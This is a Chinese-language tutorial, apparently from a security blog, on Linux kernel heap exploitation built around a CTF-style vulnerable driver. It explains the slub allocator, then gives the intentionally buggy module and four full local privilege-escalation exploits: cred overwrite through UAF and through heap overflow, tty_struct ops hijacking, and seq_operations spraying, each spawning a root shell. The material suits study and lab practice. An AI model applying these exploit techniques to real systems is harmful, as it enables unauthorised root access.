前言
本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。
概述
Linux kernel
将内存分为 页(page)→区(zone)→节点(node)
三级结构,主要有两个内存管理器------ buddy system
与 slub allocator
,前者负责以内存页为粒度管理所有可用的物理内存,后者则以 slab
分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
budy system
buddy system
以 page
为粒度管理着所有的物理内存,在每个 zone
结构体中都有一个 free_area
结构体数组,用以存储 buddy system
按照 order
管理的页面:
-
分配:
-
首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
-
若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
-
-
释放:
-
将对应的连续内存页释放到对应的链表上。
-
检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
-
slub allocator
slub_allocator
是基于 slab_alloctor
的分配器。 slab allocator
向 buddy system
请求单张或多张连续内存页后再分割成同等大小的 object
返还给上层调用者来实现更为细粒度的内存管理。
-
分配:
-
首先从
kmem_cache_cpu
上取对象,若有则直接返回。 -
若
kmem_cache_cpu
上的slub
已经无空闲对象了,对应slub
会被从kmem_cache_cpu
上取下,并尝试从partial
链表上取一个slub
挂载到kmem_cache_cpu
上,然后再取出空闲对象返回。 -
若
kmem_cache_node
的partial
链表也空了,那就向buddy system
请求分配新的内存页,划分为多个object
之后再给到kmem_cache_cpu
,取空闲对象返回上层调用。
-
-
释放:
-
若被释放
object
属于kmem_cache_cpu
的slub
,直接使用头插法插入当前CPU slub
的freelist
。 -
若被释放
object
属于kmem_cache_node
的partial
链表上的slub
,直接使用头插法插入对应slub
的freelist
。 -
若被释放
object
为full slub
,则其会成为对应slub
的freelist
头节点,且该slub
会被放置到partial
链表。
-
heap_bof
题目分析
题目给了源码,存在 UAF
和 heap overflow
两种漏洞。内核版本为 4.4.27
#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>
struct
class
*
bof_class
;
struct
cdev
cdev
;
int
bof_major
=
256
;
char
*
ptr
[
40
];
// 指针数组,用于存放分配的指针
struct
param
{
size_t
len
;
// 内容长度
char
*
buf
;
// 用户态缓冲区地址
unsigned
long
idx
;
// 表示 ptr 数组的 索引
};
long
bof_ioctl
(
struct
file
*
filp
,
unsigned
int
cmd
,
unsigned
long
arg
) {
struct
param
p_arg
;
copy_from_user
(
&
p_arg
, (
void
*
)
arg
,
sizeof
(
struct
param
));
long
retval
=
0
;
switch
(
cmd
) {
case
9
:
copy_to_user
(
p_arg
.
buf
,
ptr
[
p_arg
.
idx
],
p_arg
.
len
);
printk
(
"copy_to_user: 0x%lx\n"
,
*
(
long
*
)
ptr
[
p_arg
.
idx
]);
break
;
case
8
:
copy_from_user
(
ptr
[
p_arg
.
idx
],
p_arg
.
buf
,
p_arg
.
len
);
break
;
case
7
:
kfree
(
ptr
[
p_arg
.
idx
]);
printk
(
"free: 0x%p\n"
,
ptr
[
p_arg
.
idx
]);
break
;
case
5
:
ptr
[
p_arg
.
idx
]
=
kmalloc
(
p_arg
.
len
,
GFP_KERNEL
);
printk
(
"alloc: 0x%p, size: %2lx\n"
,
ptr
[
p_arg
.
idx
],
p_arg
.
len
);
break
;
default
:
retval
=
-
1
;
break
;
}
return
retval
;
}
static
const
struct
file_operations
bof_fops
=
{
.
owner
=
THIS_MODULE
,
.
unlocked_ioctl
=
bof_ioctl
,
//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};
static
int
bof_init
(
void
) {
//设备号
dev_t
devno
=
MKDEV
(
bof_major
,
0
);
int
result
;
if
(
bof_major
)
//静态分配设备号
result
=
register_chrdev_region
(
devno
,
1
,
"bof"
);
else
{
//动态分配设备号
result
=
alloc_chrdev_region
(
&
devno
,
0
,
1
,
"bof"
);
bof_major
=
MAJOR
(
devno
);
}
printk
(
"bof_major /dev/bof: %d\n"
,
bof_major
);
if
(
result
<
0
)
return
result
;
bof_class
=
class_create
(
THIS_MODULE
,
"bof"
);
device_create
(
bof_class
,
NULL
,
devno
,
NULL
,
"bof"
);
cdev_init
(
&
cdev
,
&
bof_fops
);
cdev
.
owner
=
THIS_MODULE
;
cdev_add
(
&
cdev
,
devno
,
1
);
return
0
;
}
static
void
bof_exit
(
void
) {
cdev_del
(
&
cdev
);
device_destroy
(
bof_class
,
MKDEV
(
bof_major
,
0
));
class_destroy
(
bof_class
);
unregister_chrdev_region
(
MKDEV
(
bof_major
,
0
),
1
);
printk
(
"bof exit success\n"
);
}
MODULE_AUTHOR
(
"exp_ttt"
);
MODULE_LICENSE
(
"GPL"
);
module_init
(
bof_init
);
module_exit
(
bof_exit
);
boot.sh
这道题是多核多线程。并且开启了 smep
和 smap
。
#!/bin/bash
qemu-system-x86_64 \
-initrd
rootfs.cpio \
-kernel
bzImage \
-m
512M \
-nographic
\
-append
'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr'
\
-monitor
/dev/null \
-smp
cores
=
2
,threads
=
2
\
-cpu
kvm64,
+
smep,
+
smap \
kernel Use After Free
利用思路
cred
结构体大小为 0xa8
,根据 slub
分配机制,如果申请和释放大小为 0xa8
(实际为 0xc0
)的内存块,此时再开一个线程,则该线程的 cred
结构题正是刚才释放掉的内存块。利用 UAF
漏洞修改 cred
就可以实现提权。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
struct
param
{
size_t
len
;
// 内容长度
char
*
buf
;
// 用户态缓冲区地址
unsigned
long
idx
;
// 表示 ptr 数组的 索引
};
int
main
() {
int
fd
=
open
(
"dev/bof"
,
O_RDWR
);
struct
param
p
=
{
0xa8
,
malloc
(
0xa8
),
1
};
ioctl
(
fd
,
BOF_MALLOC
,
&
p
);
ioctl
(
fd
,
BOF_FREE
,
&
p
);
int
pid
=
fork
();
// 这个线程申请的cred结构体obj即为刚才释放的obj。
if
(
pid
<
0
) {
puts
(
"[-]fork error"
);
return
-
1
;
}
if
(
pid
==
0
) {
p
.
buf
=
malloc
(
p
.
len
=
0x30
);
memset
(
p
.
buf
,
0
,
p
.
len
);
ioctl
(
fd
,
BOF_EDIT
,
&
p
);
// 修改用户ID
if
(
getuid
()
==
0
) {
puts
(
"[+]root success"
);
system
(
"/bin/sh"
);
}
else
{
puts
(
"[-]root failed"
);
}
}
else
{
wait
(
NULL
);
}
close
(
fd
);
return
0
;
}
但是此种方法在较新版本 kernel
中已不可行,我们已无法直接分配到 cred_jar
中的 object
,这是因为 cred_jar
在创建时设置了 SLAB_ACCOUNT
标记,在 CONFIG_MEMCG_KMEM=y
时(默认开启) cred_jar
不会再与相同大小的 kmalloc-192
进行合并。
// kernel version == 4.4.72
void
__init
cred_init
(
void
)
{
/* allocate a slab in which we can store credentials */
cred_jar
=
kmem_cache_create
(
"cred_jar"
,
sizeof
(
struct
cred
),
0
,
SLAB_HWCACHE_ALIGN
|
SLAB_PANIC
,
NULL
);
}
// kernel version == 4.5
void
__init
cred_init
(
void
)
{
/* allocate a slab in which we can store credentials */
cred_jar
=
kmem_cache_create
(
"cred_jar"
,
sizeof
(
struct
cred
),
0
,
SLAB_HWCACHE_ALIGN
|
SLAB_PANIC
|
SLAB_ACCOUNT
,
NULL
);
}
heap overflow
溢出修改 cred
,和前面 UAF 修改 cred
一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些 0xc0
大小的 obj
,因为我们 freelist
中存在很多之前使用又被释放的 obj
导致的 obj
乱序。我们需要一个排列整齐的内存块用于修改。
利用思路
-
多申请几个
0xa8
大小的内存块,将原有混乱的freelist
变为地址连续的freelist
。 -
利用堆溢出,修改被重新申请作为
cred
的ptr[5]
凭证区为0
。
exp
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>
struct
param
{
size_t
len
;
// 内容长度
char
*
buf
;
// 用户态缓冲区地址
long
long
idx
;
// 表示 ptr 数组的 索引
};
const
int
BOF_NUM
=
10
;
int
main
(
void
) {
int
bof_fd
=
open
(
"/dev/bof"
,
O_RDWR
);
if
(
bof_fd
==
-
1
) {
puts
(
"[-] Failed to open bof device."
);
exit
(
-
1
);
}
struct
param
p
=
{
0xa8
,
malloc
(
0xa8
),
0
};
// 让驱动分配 0x40 个 0xa8 的内存块
for
(
int
i
=
0
;
i
<
0x40
;
i
++
) {
ioctl
(
bof_fd
,
5
,
&
p
);
// malloc
}
puts
(
"[*] clear heap done"
);
// 让驱动分配 10 个 0xa8 的内存块
for
(
p
.
idx
=
0
;
p
.
idx
<
BOF_NUM
;
p
.
idx
++
) {
ioctl
(
bof_fd
,
5
,
&
p
);
// malloc
}
p
.
idx
=
5
;
ioctl
(
bof_fd
,
7
,
&
p
);
// free
// 调用 fork 分配一个 cred结构体
int
pid
=
fork
();
if
(
pid
<
0
) {
puts
(
"[-] fork error"
);
exit
(
-
1
);
}
// 此时 ptr[4] 和 cred相邻
// 溢出 修改 cred 实现提权
p
.
idx
=
4
,
p
.
len
=
0xc0
+
0x30
;
memset
(
p
.
buf
,
0
,
p
.
len
);
ioctl
(
bof_fd
,
8
,
&
p
);
if
(
!
pid
) {
//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
size_t
uid
=
getuid
();
printf
(
"[*] uid: %zx\n"
,
uid
);
if
(
!
uid
) {
puts
(
"[+] root success"
);
// 权限修改完毕,启动一个shell,就是root的shell了
system
(
"/bin/sh"
);
}
else
{
puts
(
"[-] root fail"
);
}
}
else
{
wait
(
0
);
}
return
0
;
}
tty_struct 劫持
boot.sh
这道题 gadget
较少,我们就关了 smep
保护。
#!/bin/bash
qemu-system-x86_64 \
-initrd
rootfs.img \
-kernel
bzImage \
-m
512M \
-nographic
\
-append
'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr'
\
-monitor
/dev/null \
-s
\
-cpu
kvm64 \
-smp
cores
=
1
,threads
=
1
\
--nographic
利用思路
在 /dev
下有一个伪终端设备 ptmx
,在我们打开这个设备时内核中会创建一个 tty_struct
结构体,
ptmx_open
(
drivers
/
tty
/
pty
.
c
)
->
tty_init_dev
(
drivers
/
tty
/
tty_io
.
c
)
->
alloc_tty_struct
(
drivers
/
tty
/
tty_io
.
c
)
tty
的结构体 tty_srtuct
定义在 linux/tty.h
中。其中 ops
项( 64bit
下位于 结构体偏移 0x18
处)指向一个存放 tty
相关操作函数的函数指针的结构体 tty_operations
。其魔数为 0x5401
// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC 0x5401
struct
tty_struct
{
...
const
struct
tty_operations
*
ops
;
...
}
struct
tty_operations
{
...
int
(
*
ioctl
)(
struct
tty_struct
*
tty
,
unsigned
int
cmd
,
unsigned
long
arg
);
...
};
使用 tty
设备的前提是挂载了 ptmx
设备。
mkdir
/dev/pts
mount
-t
devpts none /dev/pts
chmod
777
/dev/ptmx
所以我们只需要劫持 tty_ops
的某个可触发的操作即可,将其劫持到 get_root
函数处。
exp
#include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void
*
(
*
commit_creds
)(
void
*
)
=
(
void
*
)
0xffffffff810a1340
;
size_t
init_cred
=
0xFFFFFFFF81E496C0
;
void
get_shell
()
{
system
(
"/bin/sh"
);
}
unsigned
long
user_cs
,
user_rflags
,
user_rsp
,
user_ss
,
user_rip
=
(
size_t
)
get_shell
;
void
save_status
() {
__asm__
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts
(
"[*]status has been saved."
);
}
size_t
kernel_offset
;
void
get_root
() {
// 通过栈上残留地址来绕过 KASLR
__asm__
(
"mov rbx, [rsp + 8];"
"mov kernel_offset, rbx;"
);
kernel_offset
-=
0xffffffff814f604f
;
commit_creds
=
(
void
*
) ((
size_t
)
commit_creds
+
kernel_offset
);
init_cred
=
(
void
*
) ((
size_t
)
init_cred
+
kernel_offset
);
commit_creds
(
init_cred
);
__asm__
(
"swapgs;"
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
struct
param
{
size_t
len
;
// 内容长度
char
*
buf
;
// 用户态缓冲区地址
long
long
idx
;
// 表示 ptr 数组的 索引
};
int
main
(
int
argc
,
char
const
*
argv
[])
{
save_status
();
size_t
fake_tty_ops
[]
=
{
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
get_root
};
// len buf idx
struct
param
p
=
{
0x2e0
,
malloc
(
0x2e0
),
0
};
printf
(
"[*]p_addr==>%p\n"
,
&
p
);
int
bof_fd
=
open
(
"/dev/bof"
,
O_RDWR
);
p
.
len
=
0x2e0
;
ioctl
(
bof_fd
,
BOF_MALLOC
,
&
p
);
memset
(
p
.
buf
,
'\xff'
,
0x2e0
);
ioctl
(
bof_fd
,
BOF_EDIT
,
&
p
);
ioctl
(
bof_fd
,
BOF_FREE
,
&
p
);
int
ptmx_fd
=
open
(
"/dev/ptmx"
,
O_RDWR
);
p
.
len
=
0x20
;
ioctl
(
bof_fd
,
BOF_READ
,
&
p
);
printf
(
"[*]magic_code==> %p -- %p\n"
,
&
p
.
buf
[
0
],
*
(
size_t
*
)
&
p
.
buf
[
0
]);
printf
(
"[*]tty____ops==> %p -- %p\n"
,
&
p
.
buf
[
0x18
],
*
(
size_t
*
)
&
p
.
buf
[
0x18
]);
*
(
size_t
*
)
&
p
.
buf
[
0x18
]
=
&
fake_tty_ops
;
ioctl
(
bof_fd
,
BOF_EDIT
,
&
p
);
ioctl
(
ptmx_fd
,
0
,
0
);
return
0
;
}
seq_operations 劫持
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd
rootfs.img \
-kernel
bzImage \
-m
512M \
-nographic
\
-append
'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr'
\
-monitor
/dev/null \
-s
\
-cpu
kvm64 \
-smp
cores
=
1
,threads
=
1
\
--nographic
利用思路
seq_operations
结构如下,该结构在打开 /proc/self/stat
时从 kmalloc-32
中分配。
struct
seq_operations
{
void
*
(
*
start
) (
struct
seq_file
*
m
,
loff_t
*
pos
);
void
(
*
stop
) (
struct
seq_file
*
m
,
void
*
v
);
void
*
(
*
next
) (
struct
seq_file
*
m
,
void
*
v
,
loff_t
*
pos
);
int
(
*
show
) (
struct
seq_file
*
m
,
void
*
v
);
};
调用读取 stat
文件时会调用 seq_operations
的 start
函数指针。
ssize_t
seq_read
(
struct
file
*
file
,
char
__user
*
buf
,
size_t
size
,
loff_t
*
ppos
)
{
struct
seq_file
*
m
=
file
->
private_data
;
...
p
=
m
->
op
->
start
(
m
,
&
pos
);
...
当我们在 heap_bof
驱动分配 0x20
大小的 object
后打开大量的 stat
文件就有很大概率在 heap_bof
分配的 object
的溢出范围内存在 seq_operations
结构体。由于这道题关闭了 SMEP
, SMAP
和 KPTI
保护,因此我们可以覆盖 start
函数指针为用户空间的提权代码实现提权。至于 KASLR
可以通过泄露栈上的数据绕过。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
struct
param
{
size_t
len
;
// 内容长度
char
*
buf
;
// 用户态缓冲区地址
long
long
idx
;
// 表示 ptr 数组的 索引
};
const
int
SEQ_NUM
=
0x200
;
const
int
DATA_SIZE
=
0x20
*
8
;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void
get_shell
() {
system
(
"/bin/sh"
);
}
size_t
user_cs
,
user_rflags
,
user_sp
,
user_ss
,
user_rip
=
(
size_t
)
get_shell
;
void
save_status
() {
__asm__
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts
(
"[*] status has been saved."
);
}
void
*
(
*
commit_creds
)(
void
*
)
=
(
void
*
)
0xFFFFFFFF810A1340
;
void
*
init_cred
=
(
void
*
)
0xFFFFFFFF81E496C0
;
size_t
kernel_offset
;
void
get_root
() {
// 通过栈上的残留值绕过KASLR。
__asm__
(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset
-=
0xffffffff81229378
;
commit_creds
=
(
void
*
) ((
size_t
)
commit_creds
+
kernel_offset
);
init_cred
=
(
void
*
) ((
size_t
)
init_cred
+
kernel_offset
);
commit_creds
(
init_cred
);
__asm__
(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
int
main
() {
save_status
();
int
bof_fd
=
open
(
"dev/bof"
,
O_RDWR
);
if
(
bof_fd
<
0
) {
puts
(
"[-] Failed to open bof."
);
exit
(
-
1
);
}
struct
param
p
=
{
0x20
,
malloc
(
0x20
),
0
};
for
(
int
i
=
0
;
i
<
0x40
;
i
++
) {
ioctl
(
bof_fd
,
BOF_MALLOC
,
&
p
);
}
memset
(
p
.
buf
,
'\xff'
,
p
.
len
);
ioctl
(
bof_fd
,
BOF_EDIT
,
&
p
);
// 大量喷洒 seq_ops 结构体。
int
seq_fd
[
SEQ_NUM
];
for
(
int
i
=
0
;
i
<
SEQ_NUM
;
i
++
) {
seq_fd
[
i
]
=
open
(
"/proc/self/stat"
,
O_RDONLY
);
if
(
seq_fd
[
i
]
<
0
) {
puts
(
"[-] Failed to open stat."
);
}
}
puts
(
"[*] seq_operations spray finished."
);
// 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
p
.
len
=
DATA_SIZE
;
p
.
buf
=
malloc
(
DATA_SIZE
);
p
.
idx
=
0
;
for
(
int
i
=
0
;
i
<
DATA_SIZE
;
i
+=
sizeof
(
size_t
)) {
*
(
size_t
*
)
&
p
.
buf
[
i
]
=
(
size_t
)
get_root
;
}
ioctl
(
bof_fd
,
BOF_EDIT
,
&
p
);
puts
(
"[*] Heap overflow finished."
);
for
(
int
i
=
0
;
i
<
SEQ_NUM
;
i
++
) {
read
(
seq_fd
[
i
],
p
.
buf
,
1
);
}
return
0
;
}
本文作者: dingjiacan@antvsion.com
本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/205531.html